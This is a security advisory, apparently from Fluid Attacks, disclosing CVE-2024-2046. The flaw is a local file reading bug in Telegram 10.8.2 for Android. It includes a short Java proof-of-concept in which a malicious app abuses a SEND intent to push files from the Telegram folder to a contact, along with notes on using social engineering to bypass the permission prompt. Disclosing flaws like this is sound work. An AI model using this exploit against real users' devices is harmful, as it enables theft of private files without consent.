Telegram 10.8.2 - LFR via chat attachment

Summary

NameTelegram 10.8.2 - LFR via chat attachment
Code name
ProductTelegram
Affected versionsVersion 10.8.2
StatePublic
Release date2024-03-19

Vulnerability

KindBusiness information leak
Rule
RemoteYes
CVSSv3.1 VectorCVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:N/A:N
CVSSv3.1 Base Score4.4
Exploit availableYes
CVE ID(s)

Description

Telegram version 10.8.2 allows obtaining internal files from the user's device without their consent. This is possible because the app is vulnerable to Local File Reading via chat attachments.

Vulnerability

An arbitrary local file reading (LFR) vulnerability has been identified in Telegram. The exploit allows an attacker to obtain internal application files such as documents, files, images, downloads, etc.

Exploit

[...]

public class MainActivity extends AppCompatActivity {

    [...]

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        [...]

        // Hacking Here
        StrictMode.setVmPolicy(StrictMode.VmPolicy.LAX);
        Intent intent = new Intent("android.intent.action.SEND");
        intent.setClassName("org.telegram.messenger.web","org.telegram.ui.LaunchActivity");
        intent.putExtra(Intent.EXTRA_STREAM, Uri.parse("file:///sdcard/Telegram/Telegram Files/test.txt"));
        intent.putExtra("dialogId", (long)1);
        intent.putExtra(Intent.EXTRA_SUBJECT, "Hacked");
        intent.putExtra(Intent.EXTRA_TEXT, "By cbelloatfluid");
        startActivity(intent);
    }

    [...]
}

Evidence of exploitation

We can see how a malicious application installed on the victim's device can force the user to leak files from the device to a certain contact.

We studied how to force automatic sending to anyone using Telegram, however an internal hash of the vicitm must be known, and this is totally unpredictable and not exposed.

In short, with a bit of social engineering, a malicious contact could persuade his victim to get the files from the device without his authorization.

Since Telegram does not allow obtaining internal files from the app, this exploit seeks to use Telegram as a bridge between the attacker and the folder where Telegram stores all the files, images and documents that the user downloads from the app.

In this way, we are spared the "Do you authorize the application to access the folder?" prompt. This makes social engineering much more credible.

Our security policy

We have reserved the ID CVE-2024-2046 to refer to this issue from now on.

System Information

  • Version: Telegram 10.8.2

  • Operating System: Android

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.

References

Vendor page https://github.com/DrKLO/Telegram/

Timeline

Time-lapse-logo

2024-02-29

Vulnerability discovered.

Time-lapse-logo

2024-02-29

Vendor contacted.

Time-lapse-logo

2024-03-19

Public Disclosure.

Fluid Logo Footer

Hacking software for over 20 years

Fluid Attacks tests applications and other systems, covering all software development stages. Our team assists clients in quickly identifying and managing vulnerabilities to reduce the risk of incidents and deploy secure technology.

Copyright © 0 Fluid Attacks. We hack your software. All rights reserved.